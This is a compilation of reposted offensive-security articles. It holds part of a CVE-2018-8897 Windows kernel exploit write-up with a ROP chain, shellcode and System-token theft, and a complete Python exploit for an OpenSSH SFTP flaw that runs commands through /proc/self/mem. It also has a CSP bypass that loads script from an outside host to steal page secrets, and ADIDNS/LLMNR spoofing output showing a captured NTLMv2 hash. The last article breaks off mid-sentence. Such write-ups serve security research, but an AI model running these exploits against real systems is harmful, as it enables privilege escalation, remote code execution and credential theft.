Pcr.Prcb.CurrentThread->InitialStack to 0. Problem solved. RtlDispatchException after these changes will fail without bugchecking and return to KiDispatchException. – KeBugCheckEx We are finally here. Here’s the last thing we need to fix: MEMORY:FFFFF8018C1FB94A mov rcx, gs:qword_20 MEMORY:FFFFF8018C1FB953 mov rcx, [rcx+62C0h] MEMORY:FFFFF8018C1FB95A call RtlCaptureContext Pcr.CurrentPrcb->Context is where KeBugCheck saves the context of the caller and for some weird reason, it is a PCONTEXT instead of a CONTEXT. We don’t really care about any other fields of Pcr so let’s just set it to Pcr+ 0x3000 just for the sake of having a valid pointer for now. 0x2: and Write|What|Where And there we go, sweet sweet blue screen of victory! Now that everything works, how can we exploit it? The code after KeBugCheckEx is too complex to step in one by one and it is most likely not-so-fun to revert from so let’s try NOT to bugcheck this time. I wrote another IDA script to log the points of interest (such as gs: accesses and jumps and calls to registers and [registers+x]) and made it step until KeBugCheckEx is hit: #include <idc.idc> static main() { Message( "--- Logging Points of Interest ---\n" ); while( 1 ) { auto IP = GetEventEa(); auto Disasm = GetDisasmEx( IP, 1 ); if ( ( strstr( Disasm, "gs:" ) >= Disasm ) || ( strstr( Disasm, "jmp r" ) >= Disasm ) || ( strstr( Disasm, "call r" ) >= Disasm ) || ( strstr( Disasm, "jmp" ) >= Disasm && strstr( Disasm, "[r" ) >= Disasm ) || ( strstr( Disasm, "call" ) >= Disasm && strstr( Disasm, "[r" ) >= Disasm ) ) { Message( "-- %s (+%x): %s\n", GetFunctionName( IP ), IP - GetFunctionAttr( IP, FUNCATTR_START ), Disasm ); } StepInto(); GetDebuggerEvent( WFNE_SUSP, -1 ); if( IP == ... ) break; } } To my disappointment, there is no convenient jumps or calls. The whole output is: - KiDebugTrapOrFault (+3d): test word ptr gs:278h, 40h - sub_FFFFF8018C207019 (+5): ldmxcsr dword ptr gs:180h -- KiExceptionDispatch (+5f): mov rax, gs:188h --- KiDispatchException (+48): mov rax, gs:188h --- KiDispatchException (+5c): inc gs:5D30h ---- KeCopyLastBranchInformation (+38): mov rax, gs:20hh ---- KeQueryCurrentStackInformation (+3b): mov rax, gs:188h ---- KeQueryCurrentStackInformation (+44): mov rcx, gs:1A8h --- KeBugCheckEx (+1a): mov rcx, gs:20h This means that we have to find a way to write to kernel-mode memory and abuse that instead. RtlCaptureContext will be a tremendous help here. As I mentioned before, it is taking the context pointer from Pcr.CurrentPrcb->Context, which is weirdly a PCONTEXT Context and not a CONTEXT Context, meaning we can supply it any kernel address and make it write the context over it. I was originally going to make it write over g_CiOptions and continuously NtLoadDriver in another thread, but this idea did not work as well as I thought (That being said, appearently this is the way @0xNemi and @nickeverdox got it working. I guess we will see what dark magic they used at BlackHat 2018.) simply because the current thread is stuck in an infinite loop and the other thread trying to NtLoadDriver will not succeed because of the IPI it uses: NtLoadDriver->…->MiSetProtectionOnSection->KeFlushMultipleRangeTb->IPI->Deadlock After playing around with g_CiOptions for 1-2 days, I thought of a much better idea: overwriting the return address of RtlCaptureContext. How are we going to overwrite the return address without having access to RSP? If we use a little bit of creativity, we actually can have access to RSP. We can get the current RSP by making Prcb.Context point to a user-mode memory and polling Context.RSP value from a secondary thread. Sadly, this is not useful by itself as we already passed RtlCaptureContext (our write what where exploit). However, if we could return back to KiDebugTrapOrFault after RtlCaptureContext finishes its work and somehow predict the next value of RSP, this would be extremely abusable; which is exactly what we are going to do. To return back to KiDebugTrapOrFault, we will again use our lovely debug registers. Right after RtlCaptureContext returns, a call to KiSaveProcessorControlState is made. .text:000000014017595F mov rcx, gs:20h .text:0000000140175968 add rcx, 100h .text:000000014017596F call KiSaveProcessorControlState .text:0000000140175C80 KiSaveProcessorControlState proc near ; CODE XREF: KeBugCheckEx+3Fp .text:0000000140175C80 ; KeSaveStateForHibernate+ECp ... .text:0000000140175C80 mov rax, cr0 .text:0000000140175C83 mov [rcx], rax .text:0000000140175C86 mov rax, cr2 .text:0000000140175C89 mov [rcx+8], rax .text:0000000140175C8D mov rax, cr3 .text:0000000140175C90 mov [rcx+10h], rax .text:0000000140175C94 mov rax, cr4 .text:0000000140175C97 mov [rcx+18h], rax .text:0000000140175C9B mov rax, cr8 .text:0000000140175C9F mov [rcx+0A0h], rax We will set DR1 on gs:20h + 0x100 + 0xA0, and make KeBugCheckEx return back to KiDebugTrapOrFault just after it saves the value of CR4. To overwrite the return pointer, we will first let KiDebugTrapOrFault->…->RtlCaptureContext execute once giving our user-mode thread an initial RSP value, then we will let it execute another time to get the new RSP, which will let us calculate per-execution RSP difference. This RSP delta will be constant because the control flow is also constant. Now that we have our RSP delta, we will predict the next value of RSP, subtract 8 from that to calculate the return pointer of RtlCaptureContext and make Prcb.Context->Xmm13 – Prcb.Context->Xmm15 written over it. Thread logic will be like the following: volatile PCONTEXT Ctx = *( volatile PCONTEXT* ) ( Prcb + Offset_Prcb__Context ); while ( !Ctx->Rsp ); // Wait for RtlCaptureContext to be called once so we get leaked RSP uint64_t StackInitial = Ctx->Rsp; while ( Ctx->Rsp == StackInitial ); // Wait for it to be called another time so we get the stack pointer difference // between sequential KiDebugTrapOrFault StackDelta = Ctx->Rsp - StackInitial; PredictedNextRsp = Ctx->Rsp + StackDelta; // Predict next RSP value when RtlCaptureContext is called uint64_t NextRetPtrStorage = PredictedNextRsp - 0x8; // Predict where the return pointer will be located at NextRetPtrStorage &= ~0xF; *( uint64_t* ) ( Prcb + Offset_Prcb__Context ) = NextRetPtrStorage - Offset_Context__XMM13; // Make RtlCaptureContext write XMM13-XMM15 over it Now we simply need to set-up a ROP chain and write it to XMM13-XMM15. We cannot predict which half of XMM15 will get hit due to the mask we apply to comply with the movaps alignment requirement, so first two pointers should simply point at a [RETN] instruction. We need to load a register with a value we choose to set CR4 so XMM14 will point at a [POP RCX; RETN] gadget, followed by a valid CR4 value with SMEP disabled. As for XMM13, we are simply going to use a [MOV CR4, RCX; RETN;] gadget followed by a pointer to our shellcode. The final chain will look something like: -- &retn; (fffff80372e9502d) -- &retn; (fffff80372e9502d) -- &pop rcx; retn; (fffff80372ed9122) -- cr4_nosmep (00000000000506f8) -- &mov cr4, rcx; retn; (fffff803730045c7) -- &KernelShellcode (00007ff613fb1010) In our shellcode, we will need to restore the CR4 value, swapgs, rollback ISR stack, execute the code we want and IRETQ back to user-mode which can be done like below: NON_PAGED_DATA fnFreeCall k_ExAllocatePool = 0; using fnIRetToVulnStub = void( * ) ( uint64_t Cr4, uint64_t IsrStack, PVOID ContextBackup ); NON_PAGED_DATA BYTE IRetToVulnStub[] = { 0x0F, 0x22, 0xE1, // mov cr4, rcx ; cr4 = original cr4 0x48, 0x89, 0xD4, // mov rsp, rdx ; stack = isr stack 0x4C, 0x89, 0xC1, // mov rcx, r8 ; rcx = ContextBackup 0xFB, // sti ; enable interrupts 0x48, 0xCF // iretq ; interrupt return }; NON_PAGED_CODE void KernelShellcode() { __writedr( 7, 0 ); uint64_t Cr4Old = __readgsqword( Offset_Pcr__Prcb + Offset_Prcb__Cr4 ); __writecr4( Cr4Old & ~( 1 << 20 ) ); __swapgs(); uint64_t IsrStackIterator = PredictedNextRsp - StackDelta - 0x38; // Unroll nested KiBreakpointTrap -> KiDebugTrapOrFault -> KiTrapDebugOrFault while ( ( ( ISR_STACK* ) IsrStackIterator )->CS == 0x10 && ( ( ISR_STACK* ) IsrStackIterator )->RIP > 0x7FFFFFFEFFFF ) { __rollback_isr( IsrStackIterator ); // We are @ KiBreakpointTrap -> KiDebugTrapOrFault, which won't follow the RSP Delta if ( ( ( ISR_STACK* ) ( IsrStackIterator + 0x30 ) )->CS == 0x33 ) { /* fffff00e`d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap fffff00e`d7a1bc40 0000000000000010 fffff00e`d7a1bc48 0000000000000002 fffff00e`d7a1bc50 fffff00ed7a1bc68 fffff00e`d7a1bc58 0000000000000000 fffff00e`d7a1bc60 0000000000000014 fffff00e`d7a1bc68 00007ff7e2261e95 -- fffff00e`d7a1bc70 0000000000000033 fffff00e`d7a1bc78 0000000000000202 fffff00e`d7a1bc80 000000ad39b6f938 */ IsrStackIterator = IsrStackIterator + 0x30; break; } IsrStackIterator -= StackDelta; } PVOID KStub = ( PVOID ) k_ExAllocatePool( 0ull, ( uint64_t )sizeof( IRetToVulnStub ) ); Np_memcpy( KStub, IRetToVulnStub, sizeof( IRetToVulnStub ) ); // ------ KERNEL CODE ------ .... // ------ KERNEL CODE ------ __swapgs(); ( ( ISR_STACK* ) IsrStackIterator )->RIP += 1; ( fnIRetToVulnStub( KStub ) )( Cr4Old, IsrStackIterator, ContextBackup ); } We can’t restore any registers so we will make the thread responsible for the execution of vulnerability store the context in a global container and restore from it instead. Now that we executed our code and returned to user-mode, our exploit is complete! Let’s make a simple demo stealing the System token: uint64_t SystemProcess = *k_PsInitialSystemProcess; uint64_t CurrentProcess = k_PsGetCurrentProcess(); uint64_t CurrentToken = k_PsReferencePrimaryToken( CurrentProcess ); uint64_t SystemToken = k_PsReferencePrimaryToken( SystemProcess ); for ( int i = 0; i < 0x500; i += 0x8 ) { uint64_t Member = *( uint64_t * ) ( CurrentProcess + i ); if ( ( Member & ~0xF ) == CurrentToken ) { *( uint64_t * ) ( CurrentProcess + i ) = SystemToken; break; } } k_PsDereferencePrimaryToken( CurrentToken ); k_PsDereferencePrimaryToken( SystemToken ); Sursa: https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/

# OpenSSH <= 6.6 SFTP misconfiguration exploit for 32/64bit Linux # The original discovery by Jann Horn: http://seclists.org/fulldisclosure/2014/Oct/35 # # Adam Simuntis :: https://twitter.com/adamsimuntis # Mindaugas Slusnys :: https://twitter.com/mislusnys import paramiko import sys import time from pwn import * # parameters cmd = 'touch /tmp/pwn; touch /tmp/pwn2' host = '172.16.15.59' port = 22 username = 'secforce' password = 'secforce' # connection ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(hostname = host, port = port, username = username, password = password) sftp = ssh.open_sftp() # parse /proc/self/maps to get addresses log.info("Analysing /proc/self/maps on remote system") sftp.get('/proc/self/maps','maps') with open("maps","r") as f: lines = f.readlines() for line in lines: words = line.split() addr = words[0] if ("libc" in line and "r-xp" in line): path = words[-1] addr = addr.split('-') BITS = 64 if len(addr[0]) > 8 else 32 print "[+] {}bit libc mapped @ {}-{}, path: {}".format(BITS, addr[0], addr[1], path) libc_base = int(addr[0], 16) libc_path = path if ("[stack]" in line): addr = addr.split("-") saddr_start = int(addr[0], 16) saddr_end = int(addr[1], 16) print "[+] Stack mapped @ {}-{}".format(addr[0], addr[1]) # download remote libc and extract information print "[+] Fetching libc from remote system..\n" sftp.get(str(libc_path), 'libc.so') e = ELF("libc.so") sys_addr = libc_base + e.symbols['system'] exit_addr = libc_base + e.symbols['exit'] # gadgets for the RET slide and system() if BITS == 64: pop_rdi_ret = libc_base + next(e.search('\x5f\xc3')) ret_addr = pop_rdi_ret + 1 else: ret_addr = libc_base + next(e.search('\xc3')) print "\n[+] system() @ {}".format(hex(sys_addr)) print "[+] 'ret' @ {}".format(hex(ret_addr)) if BITS == 64: print "[+] 'pop rdi; ret' @ {}\n".format(hex(pop_rdi_ret)) with sftp.open('/proc/self/mem','rw') as f: if f.writable(): print "[+] We have r/w permissions for /proc/self/mem! All Good." else: print "[-] Fatal error. No r/w permission for mem." sys.exit(0) log.info("Patching /proc/self/mem on the remote system") stack_size = saddr_end - saddr_start new_stack = "" print "[+] Pushing new stack to {}.. fingers crossed ;))".format(hex(saddr_start)) #sleep(20) if BITS == 32: new_stack += p32(ret_addr) * (stack_size/4) new_stack = cmd + "\x00" + new_stack[len(cmd)+1:-12] new_stack += p32(sys_addr) new_stack += p32(exit_addr) new_stack += p32(saddr_start) else: new_stack += p64(ret_addr) * (stack_size/8) new_stack = cmd + "\x00" + new_stack[len(cmd)+1:-32] new_stack += p64(pop_rdi_ret) new_stack += p64(saddr_start) new_stack += p64(sys_addr) new_stack += p64(exit_addr) # debug info with open("fake_stack","w") as lg: lg.write(new_stack) # write cmd to top off the stack f.seek(saddr_start) f.write(cmd + "\x00") # write the rest from bottom up, we're going to crash at some point for off in range(stack_size - 32000, 0, -32000): cur_addr = saddr_start + off try: f.seek(cur_addr) f.write(new_stack[off:off+32000]) except: print "Stack write failed - that's probably good!" print "Check if you command was executed..." sys.exit(0) sftp.close() ssh.close() Sursa: https://www.exploit-db.com/exploits/45001/?rss&amp;utm_source=dlvr.it&amp;utm_medium=twitter

Neatly bypassing CSP How to trick CSP in letting you run whatever you want By bo0om, Wallarm research Content Security Policy or CSP is a built-in browser technology which helps protect from attacks such as cross-site scripting (XSS). It lists and describes paths and sources, from which the browser can safely load resources. The resources may include images, frames, javascripts and more. But what if we can give an example of successful XSS event when no unsafe resource origins are allowed? Read on to find out how. How CSP works when everything is well. A common usage scenario here is when CSP specifies that the images can only be loaded from the current domain, which means that all the tags with external domains will be ignored. CSP policy is commonly used to block untrusted JS and minimize the change of a successful XSS exploit. Here is an example of allowing resource from the local domain (self) to be loaded and executed in-line: Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’; Since a security policy implies “prohibited unless explicitly allowed”, this configuration prohibits usage of any functions that execute code transmitted as a string. For example: eval, setTimeout, setInterval will all be blocked because of the setting unsafe-eval Any content from external sources is also blocked, including images, css, websockets, and, especially, JS To see for yourself how it works, check out this code where I deliberately put in a XSS exploit. Try to steal the secret this way without spooking the user, i.e. without a redirect. Tricking CSP Despite the limitations, we can still upload scenarios, create frames and put together images because self does not prevent working with the resources governed by Self Origin Policy (SOP). Since CSP also applies to frames, the same policy governs frames that may include data, blob or files formed with srcdoc as protocols. So, can we really execute an arbitrary javascript in a test file? The truth is out there. We are going to rely on a neat tick here. Most of the modern browser automatically convert files, such as text files or images, to an HTML page. The reason for this behavior is to correctly depict the content in the browser window; it needs to have the right background, be centered and so on. However, iframe is also a browser window!. Thus, opening any file that needs to shown in a browser in an iframe (i.e. favicon.ico or robots.txt) will immediately convert them into HTML without any data validation as long as the content-type is right. What happens if a frame opens a site page that doesn’t have a CSP header? You can guess the answer. Without CSP, an open frame will execute all the JS inside the page. If the page has an XSS exploit, we can write a js into the frame ourselves. To test this, let’s try a scenario which opens an iframe. Let’s use bootstrap.min.css, which we already mentioned earlier, as an example. frame=document.createElement(“iframe”); frame.src=”/css/bootstrap.min.css”; document.body.appendChild(frame); Let’s take a look at what’s in the frame. As expected, CSS got converted into HTML and we managed to overwrite the content of head (even though it was empty to begin with). Now, let’s see if we can get it to suck in an external JS file. script=document.createElement(‘script’); script.src=’//bo0om.ru/csp.js’; window.frames[0].document.head.appendChild(script); It worked! this is how we can execute an injecting through an iframe, create our own js scenario and query the parent window to steal its data. All you need for an XSS exploit is to open an iframe and pointed it at any path that doesn’t include a CSP header. It can be the standard favicon.ico, robots.txt, sitemap.xml, css/js, jpg or other files. PoC Slight of hand and no magic What if the site developer was careful and any expected site response (200-OK) includes X-Frame-Options: Deny? We can still try to get in. The second common error in using CSP is a lack of protective headers when returning web scanner errors. The simplest way to try this is to try to open a web page that doesn’t exist. I noticed that many resources only include X-Frame-Options on response with 200 code and not with 404 code. If that is also accounted for, we can try causing the site to return a standard web-server “invalid request” message. For example, force NGINX to return “400 bad request”, all you need to do is to query on level above it at /../ To prevent the browser from normalizing the request and replacing /../ with /, we will use unicode for the dots and the last slash. frame=document.createElement(“iframe”); frame.src=”/%2e%2e%2f”; document.body.appendChild(frame); Another possibility here is passing and incorrect unicode path, i.e. /% or /%%z However, the easiest way to get a web-server to return an error is to exceed the URL allowed length. Most modern browsers can concoct a url which is much much longer than a web-server can handle. A standard default url length handled by such web-servers and NGINX & Apache is set not to exceed 8kB. To try that, we can execute a similar scenario with a path length of 20000 byte: frame=document.createElement(“iframe”); frame.src=”/”+”A”.repeat(20000); document.body.appendChild(frame); Yet another way to fool the server into returning an error is to trigger a cookie length limit. Again, browsers support more and longer cookies than web-servers can handle. Following the same scenario: Create a humongous cookie for(var i=0;i<5;i++){document.cookie=i+”=”+”a”.repeat(4000)}; 2. Open an iframe using any address, which will cause the server to return an error (often without XFO or CSP) 3. Remove the humongous cookie: for(var i=0;i<5;i++){document.cookie=i+”=”} 4. Write your own js script into the frame that steals the parent’s secret Try it for yourself. Here are some hints for you if you need them: PoC There many other ways to cause the web-server to return an error, for example we can send a POST request which is too long or cause the web-server 500 error somehow. Why is CSP so gullible and what to do about it? The simple underlying reason is that the policy controlling the resource is embedded within the resource itself. To avoid the bad situations, my recommendations are: CSP headers should be present on all the pages, event on the error pages returned by the web-server. CSP options should be configured to restrict the rights to just those necessary to work with the specific resource. Try setting Content-Security-Policy-Report-Only: default-src ‘none’ and gradually adding permission rules for specific use cases. If you have to use unsafe-inline for correctly loading and processing the resources, your only protection is to use nonce or hash-source. Otherwise, you are exposed to XSS exploits and if CSP doesn’t protect, why do you need it in the first place ?! Additionally, as shared by @majorisc, another trick for stealing the data from a page is to use RTCPeerConnection and to pass the secret via DNS requests. default-src ‘self’ doesn’t protect from it, unfortunately. Keep reading our blog for more tricks from our magic bag. Sursa: https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa

Beyond LLMNR/NBNS Spoofing – Exploiting Active Directory-Integrated DNS Kevin Robertson July 10th, 2018 Exploiting weaknesses in name resolution protocols is a common technique for performing man-in-the-middle (MITM) attacks. Two particularly vulnerable name resolution protocols are Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBNS). Attackers leverage both of these protocols to respond to requests that fail to be answered through higher priority resolution methods, such as DNS. The default enabled status of LLMNR and NBNS within Active Directory (AD) environments allows this type of spoofing to be an extremely effective way to both gain initial access to a domain, and also elevate domain privilege during post exploitation efforts. The latter use case lead to me developing Inveigh, a PowerShell based LLMNR/NBNS spoofing tool designed to run on a compromised AD host. PS C:\users\kevin\Desktop\Inveigh> Invoke-Inveigh -ConsoleOutput Y [*] Inveigh 1.4 Dev started at 2018-07-05T22:29:35 [+] Elevated Privilege Mode = Enabled [+] Primary IP Address = 192.168.125.100 [+] LLMNR/NBNS/mDNS/DNS Spoofer IP Address = 192.168.125.100 [+] LLMNR Spoofer = Enabled [+] NBNS Spoofer = Enabled [+] SMB Capture = Enabled [+] HTTP Capture = Enabled [+] HTTPS Capture = Disabled [+] HTTP/HTTPS Authentication = NTLM [+] WPAD Authentication = NTLM [+] WPAD Default Response = Enabled [+] Real Time Console Output = Enabled WARNING: [!] Run Stop-Inveigh to stop manually [*] Press any key to stop real time console output [+] [2018-07-05T22:29:53] LLMNR request for badrequest received from 192.168.125.102 [Response Sent] [+] [2018-07-05T22:29:53] SMB NTLMv2 challenge/response captured from 192.168.125.102(INVEIGH-WKS2): testuser1::INVEIGH:3E834C6F9FC3CA5B:CBD38F1537AAD7D39CE6A5BC5687373A:010100000000000071ADB439D114D401D5B48AB8C3EC8E010000000002000E0049004E00560045004900470048000100180049004E00560045004900470048002D0057004B00530031000400160069006E00760065006900670068002E006E00650074000300300049006E00760065006900670068002D0057004B00530031002E0069006E00760065006900670068002E006E00650074000500160069006E00760065006900670068002E006E00650074000700080071ADB438D114D401060004000200000008003000300000000000000000000000002000004FC481EC79C5F6BB2B29A2C828A02EC028C9FF563BE5D9597D51FD6DF29DC8BD0A0010000000000000000000000000000000000009001E0063006900660073002F006200610064007200650071007500650073007400000000000000000000000000 Throughout my time working on Inveigh, I’ve explored LLMNR/NBNS spoofing from the perspective of different levels of privilege within AD environments. Many of the updates to Inveigh along the way have actually attempted to cover additional privilege based use cases. Recently though, some research outside of Inveigh has placed a nagging question in my head. Is LLMNR/NBNS spoofing even the best way to perform name resolution based MITM attacks if you already have unprivileged access to a domain? In an effort to obtain an answer, I kept returning to the suspiciously configured AD role which inspired the question to begin with, Active Directory-Integrated DNS (ADIDNS). Take it from the Top For the purpose of this write-up, I’ll just recap two key areas of of LLMNR/NBNS spoofing. First, without implementing some router based wizardry, LLMNR and NBNS requests are contained within a single multicast or broadcast domain respectively. This can greatly limit the scope of a spoofing attack with regards to both the affected systems and potential privilege of the impacted sessions. Second, by default, Windows systems use the following priority list while attempting to resolve name resolution requests through network based protocols: DNS LLMNR NBNS Although not exploited directly as part of the attacks, DNS has a large impact on the effectiveness of LLMNR/NBNS spoofing due to controlling which requests fall down to LLMNR and NBNS. Basically, if a name request matches a record listed in DNS, a client won’t usually attempt to resolve the request through LLMNR and NBNS. Do we really need to settle for anything less than the top spot in the network based name resolution protocol hierarchy when performing our attacks? Is there a simple way to leverage DNS directly? Keeping within our imposed limitation of having only unprivileged access to a domain, let’s see what we have to work with. Active Directory-Integrated DNS Zones Modifying ADIDNS Zones Dynamic Updates Supplementing LLMNR/NBNS Spoofing with Dynamic Updates Remembering the Way Wildcard Records What’s in a Name? ADIDNS Syncing and Replication SOA Serial Number Maintaining Control of Nodes Node Tombstoning Node Deletion Defending Against ADIDNS Attacks And the Winner Is? Tools! Active Directory-Integrated DNS Zones Domain controllers and ADIDNS zones go hand in hand. Each domain controller will usually have an accessible DNS server hosting at least the default ADIDNS zones. The first default setting I’d like to highlight is the ADIDNS zone discretionary access control list (DACL). As you can see, the zone has ‘Authenticated Users’ with ‘Create all child objects’ listed by default. An authenticated user is a pretty low barrier of entry for a domain and certainly covers our unprivileged access goal. But how do we put ourselves into a position to leverage this permission and what can we do with it? Modifying ADIDNS Zones There are two primary methods of remotely modifying an ADIDNS zone. The first involves using the RPC based management tools. These tools generally require a DNS administrator or above so I won’t bother describing their capabilities. The second method is DNS dynamic updates. Dynamic updates is a DNS specific protocol designed for modifying DNS zones. Within the AD world, dynamic updates is primarily leveraged by machine accounts to add and update their own DNS records. This brings us to another default ADIDNS zone setting of interest, the enabled status of secure dynamic updates. Dynamic Updates Last year, in order to leverage this default setting more easily during post exploitation, I developed a PowerShell DNS dynamic updates tool called Invoke-DNSUpdate. PS C:\Users\kevin\Desktop\Powermad> Invoke-DNSupdate -DNSType A -DNSName test -DNSData 192.168.125.100 -Verbose VERBOSE: [+] TKEY name 648-ms-7.1-4675.57409638-8579-11e7-5813-000c296694e0 VERBOSE: [+] Kerberos preauthentication successful VERBOSE: [+] Kerberos TKEY query successful [+] DNS update successful The rules for using secure dynamic updates are pretty straightforward once you understand how permissions are applied to the records. If a matching DNS record name does not already exist in a zone, an authenticated user can create the record. The creator account will receive ownership/full control of the record. If a matching record name already exists in the zone, the authenticated user will be prevented from modifying or removing the record unless the user has the required permission, such as the case where a user is an administrator. Notice that I’m using record name instead of just record. The standard DNS view can be confusing in this regard. Permissions are actually applied based on the record name rather than individual records as viewed in the DNS console. For example, if a record named ‘test’ is created by an administrator, an unprivileged account cannot create a second record named ‘test’ as part of a DNS round robin setup. This also applies across multiple record types. If a default A record exists for the root of the zone, an unprivileged account cannot create a root MX record for the zone since both records are internally named ‘@’. Further along in this post, we will take a look at DNS records from another perspective which will offer a better view of ADIDNS records grouped by name. Below are default records that will prevent an unprivileged account from impacting AD services such as Kerberos and LDAP. There are few limitations for record types that can be created through dynamic updates with an unprivileged user. The permitted types are only restricted to those that are supported by the Windows server dynamic updates implementation. Most common record types are supported. Invoke-DNSUpdate itself currently supports A, AAAA, CNAME, MX, PTR, SRV, and TXT records. Overall, secure dynamic updates alone is certainly exploitable if non-existing DNS records worth adding can be identified. Supplementing LLMNR/NBNS Spoofing with Dynamic Updates In a quest to weaponize secure dynamic updates to function in a similar fashion to LLMNR/NBNS spoofing, I looked at injecting records into ADIDNS that matched received LLMNR/NBNS requests. In theory, a record that falls down to LLMNR/NBNS shouldn’t exist in DNS. Therefore, these records are eligible to be created by an authenticated user. This method is not practical for rare or one time only name requests. However, if you keep seeing the same requests through LLMNR/NBNS, it may be beneficial to add the record to DNS. The upcoming version of Inveigh contains a variation of this technique. If Inveigh detects the same LLMNR/NBNS request from multiple systems, a matching record can be added to ADIDNS. This can be effective when systems are sending out LLMNR/NBNS requests for old hosts that are no longer in DNS. If multiple systems within a subnet are trying to resolve specific names, outside systems may also be trying. In that scenario, injecting into ADIDNS will help extend the attack past the subnet boundary. PS C:\users\kevin\Desktop\Inveigh> Invoke-Inveigh -ConsoleOutput Y -DNS Y -DNSThreshold 4 [*] Inveigh 1.4 Dev started at 2018-07-05T22:32:37 [+] Elevated Privilege Mode = Enabled [+] Primary IP Address = 192.168.125.100 [+] LLMNR/NBNS/mDNS/DNS Spoofer IP Address = 192.168.125.100 [+] LLMNR Spoofer = Enabled [+] DNS Injection = Enabled [+] SMB Capture = Enabled [+] HTTP Capture = Enabled [+] HTTPS Capture = Disabled [+] HTTP/HTTPS Authentication = NTLM [+] WPAD Authentication = NTLM [+] WPAD Default Response = Enabled [+] Real Time Console Output = Enabled WARNING: [!] Run Stop-Inveigh to stop manually [*] Press any key to stop real time console output [+] [2018-07-05T22:32:52] LLMNR request for dnsinject received from 192.168.125.102 [Response Sent] [+] [2018-07-05T22:33:00] LLMNR request for dnsinject received from 192.168.125.100 [Response Sent] [+] [2018-07-05T22:35:00] LLMNR request for dnsinject received from 192.168.125.104 [Response Sent] [+] [2018-07-05T22:41:00] LLMNR request for dnsinject received from 192.168.125.105 [Response Sent] [+] [2018-07-05T22:50:00] LLMNR request for dnsinject received from 192.168.125.106 [Response Sent] WARNING: [!] [2018-07-05T22:33:01] DNS (A) record for dnsinject added Remembering the Way While trying to find an ideal secure dynamic updates attack, I kept hitting roadblocks with either the protocol itself or the existence of default DNS records. Since, as mentioned, I had planned on rolling a dynamic updates attack into Inveigh, I started thinking more about how the technique would be employed during penetration tests. To help testers confirm that the attack would even work, I realized that it would be helpful to create a PowerShell function that could view ADIDNS zone permissions through the context of an unprivileged account. But how would I even remotely enumerate the DACL without access to the administrator only tools? Some part of my brain that obliviously hadn’t been taking part in this ADIDNS research immediately responded with, “the zones are stored in AD, just view the DACL through LDAP.” LDAP… …there’s another way into the zones that I haven’t checked. Reviewing the topic that I likely ran into during my days as a network administrator, I found that the ADIDNS zones are currently stored in either the DomainDNSZones or ForestDNSZones partitions. LDAP provides a method for ‘Authenticated Users’ to modify an ADIDNS zone without relying on dynamic updates. DNS records can be added to an ADIDNS zone directly through LDAP by creating an AD object of class dnsNode. With this simple understanding, I now had a method of executing the DNS attack I had been chasing the whole time. Wildcard Records Wildcard records allow DNS to function in a very similar fashion to LLMNR/NBNS spoofing. Once you create a wildcard record, the DNS server will use the record to answer name requests that do not explicitly match records contained in the zone. PS C:\Users\kevin\Desktop\Powermad> Resolve-DNSName NoDNSRecord Name Type TTL Section IPAddress ---- ---- --- ------- --------- NoDNSRecord.inveigh.net A 600 Answer 192.168.125.100 Unlike LLMNR/NBNS, requests for fully qualified names matching a zone are also resolved. PS C:\Users\kevin\Desktop\Powermad> Resolve-DNSName NoDNSRecord2.inveigh.net Name Type TTL Section IPAddress ---- ---- --- ------- --------- NoDNSRecord2.inveigh.net A 600 Answer 192.168.125.100 With dynamic updates, my wildcard record injection efforts were prevented by limitations within dynamic updates itself. Dynamic updates, at least the Windows implementation, just doesn’t seem to process the ‘*’ character correctly. LDAP however, does not have the same problem. PS C:\Users\kevin\Desktop\Powermad> New-ADIDNSNode -Node * -Verbose VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net VERBOSE: [+] Domain = inveigh.net VERBOSE: [+] ADIDNS Zone = inveigh.net VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net VERBOSE: [+] Data = 192.168.125.100 VERBOSE: [+] DNSRecord Array = 04-00-01-00-05-F0-00-00-BA-00-00-00-00-00-02-58-00-00-00-00-22-D8-37-00-C0-A8-7D-64 [+] ADIDNS node * added What’s in a Name? Taking a step back, let’s look at how DNS nodes are used to form an ADIDNS record. The main structure of the record is stored in the dnsRecord attribute. This attribute defines elements such as the record type, target IP address or hostname, and static vs. dynamic classification. All of the key record details outside of the name are stored in dnsRecord. If you are interested, more information for the attribute’s structure can be found in MS-DNSP. I created a PowerShell function called New-DNSRecordArray which can create a dnsRecord array for A, AAAA, CNAME, DNAME, MX, NS, PTR, SRV, and TXT record types. PS C:\Users\kevin\Desktop\Powermad> $dnsRecord = New-DNSRecordArray -Type A -Data 192.168.125.100 PS C:\Users\kevin\Desktop\Powermad> [System.Bitconverter]::ToString($dnsrecord) 04-00-01-00-05-F0-00-00-BA-00-00-00-00-00-02-58-00-00-00-00-79-D8-37-00-C0-A8-7D-64 As I previously mentioned, LDAP offers a better view of how DNS records with a matching name are grouped together. A single DNS node can have multiple lines within the dnsRecord attribute. Each line represents a separate DNS record of the same name. Below is an example of the multiple records all contained within the dnsRecord attribute of a node named ‘@’. Lines can be added to a node’s dnsRecord attribute by appending rather than overwriting the existing attribute value. The PowerShell function I created to perform attribute edits, Set-ADIDNSNodeAttribute, has an ‘Append’ switch to perform this task. ADIDNS Syncing and Replication When modifying an ADIDNS zone through LDAP, you may observe a delay between when the node is added to LDAP and when the record appears in DNS. This is due to the fact that the DNS server service is using its own in-memory copy of the ADIDNS zone. By default, the DNS server will sync the in-memory copy with AD every 180 seconds. In large, multi-site AD infrastructures, domain controller replication time may be a factor in ADIDNS spoofing. To fully leverage the reach of added records within an enterprise, the attack time will need to extend past replication delays. By default, replication between sites can take up to three hours. To cut down on delays, start the attack by targeting the DNS server which will have the biggest impact. Although adding records to each DNS server in an environment in order to jump ahead of replication will work, keep in mind that AD will need to sort out the duplicate objects once replication does take place. SOA Serial Number Another consideration when working with ADIDNS zones is the potential presence integrated DNS servers on the network. If a server is hosting a secondary zone, the serial number is used to determine if a change has occurred. Luckily, this number can be incremented when adding a DNS node through LDAP. The incremented serial number needs to be included in the node’s dnsRecord array to ensure that the record is copied to the server hosting the secondary zone. The zone’s SOA 